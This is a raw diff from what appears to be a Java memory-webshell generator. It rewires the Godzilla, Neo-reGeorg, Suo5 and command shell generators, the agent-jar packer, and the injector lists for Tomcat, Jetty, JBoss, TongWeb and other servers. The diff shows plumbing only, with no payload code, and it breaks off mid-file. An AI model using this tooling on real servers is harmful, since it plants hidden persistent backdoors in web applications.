new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
.field(named("md5")).value(md5)
|
||||||
put("pass", godzillaConfig.getPass());
|
.field(named("headerName")).value(godzillaConfig.getHeaderName())
|
||||||
put("key", md5Key);
|
.field(named("headerValue")).value(godzillaConfig.getHeaderValue());
|
||||||
put("md5", md5);
|
|
||||||
put("headerName", godzillaConfig.getHeaderName());
|
|
||||||
put("headerValue", godzillaConfig.getHeaderValue());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder.field(named("pass")).value(godzillaConfig.getPass())
|
|
||||||
.field(named("key")).value(md5Key)
|
|
||||||
.field(named("md5")).value(md5)
|
|
||||||
.field(named("headerName")).value(godzillaConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(godzillaConfig.getHeaderValue());
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
|
|||||||
+1
-12
@@ -42,19 +42,8 @@ public class NeoreGeorgGenerator {
|
|||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
return builder.field(named("headerName")).value(neoreGeorgConfig.getHeaderName())
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
|
||||||
put("headerName", neoreGeorgConfig.getHeaderName());
|
|
||||||
put("headerValue", neoreGeorgConfig.getHeaderValue());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder
|
|
||||||
.field(named("headerName")).value(neoreGeorgConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(neoreGeorgConfig.getHeaderValue());
|
.field(named("headerValue")).value(neoreGeorgConfig.getHeaderValue());
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
|
|||||||
@@ -42,19 +42,9 @@ public class Suo5Generator {
|
|||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
return builder
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
|
||||||
put("headerName", suo5Config.getHeaderName());
|
|
||||||
put("headerValue", suo5Config.getHeaderValue());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder
|
|
||||||
.field(named("headerName")).value(suo5Config.getHeaderName())
|
.field(named("headerName")).value(suo5Config.getHeaderName())
|
||||||
.field(named("headerValue")).value(suo5Config.getHeaderValue());
|
.field(named("headerValue")).value(suo5Config.getHeaderValue());
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
|
|||||||
-10
@@ -52,16 +52,6 @@ public class CommandGenerator {
|
|||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
String shellType = shellConfig.getShellType();
|
|
||||||
|
|
||||||
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
|
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
|
|
||||||
put("paramName", commandConfig.getParamName());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
|
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
|
||||||
builder = builder
|
builder = builder
|
||||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||||
|
|||||||
+38
-43
@@ -1,12 +1,10 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.jar;
|
package com.reajason.javaweb.memshell.packer.jar;
|
||||||
|
|
||||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.objectweb.asm.Opcodes;
|
import org.objectweb.asm.Opcodes;
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
@@ -32,44 +30,34 @@ public class AgentJarPacker implements JarPacker {
|
|||||||
public byte[] packBytes(GenerateResult generateResult) {
|
public byte[] packBytes(GenerateResult generateResult) {
|
||||||
Manifest manifest = createManifest(generateResult.getInjectorClassName());
|
Manifest manifest = createManifest(generateResult.getInjectorClassName());
|
||||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
String relocatePrefix = "shade/";
|
||||||
String relocatePrefix = CommonUtil.getRandomPackageName().replace(".", "/") + "/";
|
|
||||||
boolean isAsm = generateResult.getShellConfig().getShellType().endsWith(ShellType.ASM);
|
|
||||||
|
|
||||||
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
||||||
addDependencies(targetJar, relocatePrefix, isAsm);
|
addDependencies(targetJar, relocatePrefix);
|
||||||
addClassesToJar(targetJar, generateResult, relocatePrefix, isAsm);
|
addClassesToJar(targetJar, generateResult, relocatePrefix);
|
||||||
}
|
}
|
||||||
|
|
||||||
return outputStream.toByteArray();
|
return outputStream.toByteArray();
|
||||||
}
|
}
|
||||||
|
|
||||||
private Manifest createManifest(String mainClass) {
|
private Manifest createManifest(String agentClass) {
|
||||||
Manifest manifest = new Manifest();
|
Manifest manifest = new Manifest();
|
||||||
Attributes attributes = manifest.getMainAttributes();
|
Attributes attributes = manifest.getMainAttributes();
|
||||||
attributes.putValue("Manifest-Version", "1.0");
|
attributes.putValue("Manifest-Version", "1.0");
|
||||||
attributes.putValue("Agent-Class", mainClass);
|
attributes.putValue("Agent-Class", agentClass);
|
||||||
attributes.putValue("Premain-Class", mainClass);
|
attributes.putValue("Premain-Class", agentClass);
|
||||||
attributes.putValue("Can-Redefine-Classes", "true");
|
attributes.putValue("Can-Redefine-Classes", "true");
|
||||||
attributes.putValue("Can-Retransform-Classes", "true");
|
attributes.putValue("Can-Retransform-Classes", "true");
|
||||||
return manifest;
|
return manifest;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) {
|
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
|
||||||
if (isAsm) {
|
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
|
||||||
addDependency(targetJar, Opcodes.class, relocatePrefix);
|
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
|
||||||
} else {
|
|
||||||
addDependency(targetJar, ByteBuddy.class, relocatePrefix);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult,
|
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
|
||||||
String relocatePrefix, boolean isAsm) {
|
String dependencyPackage = Opcodes.class.getPackage().getName();
|
||||||
String dependencyPackage = isAsm ?
|
|
||||||
Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
|
|
||||||
|
|
||||||
// Add injector class
|
// Add injector class
|
||||||
addClassEntry(targetJar,
|
addClassEntry(targetJar,
|
||||||
generateResult.getInjectorClassName(),
|
generateResult.getInjectorClassName(),
|
||||||
@@ -104,8 +92,7 @@ public class AgentJarPacker implements JarPacker {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String relocatePrefix) {
|
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
|
||||||
String packageToMove = baseClass.getPackage().getName().replace('.', '/');
|
|
||||||
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||||
String sourceUrlString = sourceUrl.toString();
|
String sourceUrlString = sourceUrl.toString();
|
||||||
if (sourceUrlString.contains("!BOOT-INF")) {
|
if (sourceUrlString.contains("!BOOT-INF")) {
|
||||||
@@ -120,28 +107,36 @@ public class AgentJarPacker implements JarPacker {
|
|||||||
}
|
}
|
||||||
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
|
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
|
||||||
}
|
}
|
||||||
JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()));
|
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
|
||||||
Enumeration<JarEntry> entries = sourceJar.entries();
|
Enumeration<JarEntry> entries = sourceJar.entries();
|
||||||
while (entries.hasMoreElements()) {
|
while (entries.hasMoreElements()) {
|
||||||
JarEntry entry = entries.nextElement();
|
JarEntry entry = entries.nextElement();
|
||||||
String entryName = entry.getName();
|
String entryName = entry.getName();
|
||||||
if (entryName.startsWith(packageToMove)) {
|
if (entryName.equals("META-INF/MANIFEST.MF")
|
||||||
InputStream entryStream = sourceJar.getInputStream(entry);
|
|| entryName.contains("module-info.class")) {
|
||||||
byte[] bytes = IOUtils.toByteArray(entryStream);
|
continue;
|
||||||
if (entryName.endsWith(".class")) {
|
}
|
||||||
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
if (!entry.isDirectory()) {
|
||||||
if (bytes.length > 0) {
|
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
|
||||||
bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove);
|
byte[] bytes = IOUtils.toByteArray(entryStream);
|
||||||
|
if (StringUtils.isNoneEmpty(relocatePrefix)) {
|
||||||
|
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
||||||
|
if (entryName.endsWith(".class")) {
|
||||||
|
if (bytes.length > 0) {
|
||||||
|
bytes = ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
targetJar.putNextEntry(entry);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
targetJar.putNextEntry(entry);
|
||||||
|
}
|
||||||
|
targetJar.write(bytes);
|
||||||
}
|
}
|
||||||
} else {
|
|
||||||
targetJar.putNextEntry(entry);
|
|
||||||
}
|
}
|
||||||
targetJar.write(bytes);
|
|
||||||
targetJar.closeEntry();
|
targetJar.closeEntry();
|
||||||
entryStream.close();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
sourceJar.close();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterInjector;
|
import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.apusic.ApusicListenerInjector;
|
import com.reajason.javaweb.memshell.injector.apusic.ApusicListenerInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.apusic.ApusicServletInjector;
|
import com.reajason.javaweb.memshell.injector.apusic.ApusicServletInjector;
|
||||||
@@ -33,6 +34,7 @@ public class ApusicShell extends AbstractShell {
|
|||||||
.addInjector(LISTENER, ApusicListenerInjector.class)
|
.addInjector(LISTENER, ApusicListenerInjector.class)
|
||||||
.addInjector(FILTER, ApusicFilterInjector.class)
|
.addInjector(FILTER, ApusicFilterInjector.class)
|
||||||
.addInjector(SERVLET, ApusicServletInjector.class)
|
.addInjector(SERVLET, ApusicServletInjector.class)
|
||||||
|
.addInjector(AGENT_FILTER_CHAIN, ApusicFilterChainAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -22,8 +22,7 @@ public class BesShell extends AbstractShell {
|
|||||||
.addInjector(FILTER, BesFilterInjector.class)
|
.addInjector(FILTER, BesFilterInjector.class)
|
||||||
.addInjector(VALVE, BesValveInjector.class)
|
.addInjector(VALVE, BesValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, BesContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
|
|||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -51,9 +49,7 @@ public class GlassFishShell extends AbstractShell {
|
|||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjecto
|
|||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
|
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -31,9 +29,7 @@ public class InforSuiteShell extends AbstractShell {
|
|||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector;
|
|||||||
import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
|
import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
|
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -28,9 +26,7 @@ public class JbossShell extends AbstractShell {
|
|||||||
.addInjector(FILTER, JbossFilterInjector.class)
|
.addInjector(FILTER, JbossFilterInjector.class)
|
||||||
.addInjector(VALVE, JbossValveInjector.class)
|
.addInjector(VALVE, JbossValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.jetty.*;
|
import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -44,7 +47,6 @@ public class JettyShell extends AbstractShell {
|
|||||||
.addInjector(SERVLET, JettyServletInjector.class)
|
.addInjector(SERVLET, JettyServletInjector.class)
|
||||||
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
|
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
|
||||||
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
|
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
|
||||||
.addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.resin.*;
|
import com.reajason.javaweb.memshell.injector.resin.ResinFilterChainAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin.ResinFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin.ResinListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin.ResinServletInjector;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -32,7 +35,6 @@ public class ResinShell extends AbstractShell {
|
|||||||
.addInjector(FILTER, ResinFilterInjector.class)
|
.addInjector(FILTER, ResinFilterInjector.class)
|
||||||
.addInjector(SERVLET, ResinServletInjector.class)
|
.addInjector(SERVLET, ResinServletInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,7 +2,6 @@ package com.reajason.javaweb.memshell.server;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
|
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
|
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentWithAsmInjector;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
|
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
@@ -21,7 +20,6 @@ public class SpringWebMvcShell extends AbstractShell {
|
|||||||
.addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
.addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
||||||
.addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
.addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
||||||
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
|
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
|
||||||
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, SpringWebMvcFrameworkServletAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -42,9 +42,7 @@ public class TomcatShell extends AbstractShell {
|
|||||||
.addInjector(SERVLET, TomcatServletInjector.class)
|
.addInjector(SERVLET, TomcatServletInjector.class)
|
||||||
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
|
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
|
||||||
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -25,9 +25,7 @@ public class TongWeb6Shell extends AbstractShell {
|
|||||||
.addInjector(VALVE, TongWebValveInjector.class)
|
.addInjector(VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -25,9 +25,7 @@ public class TongWeb7Shell extends AbstractShell {
|
|||||||
.addInjector(VALVE, TongWebValveInjector.class)
|
.addInjector(VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.undertow.*;
|
import com.reajason.javaweb.memshell.injector.undertow.UndertowFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.undertow.UndertowListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.undertow.UndertowServletHandlerAgentInjector;
|
||||||
|
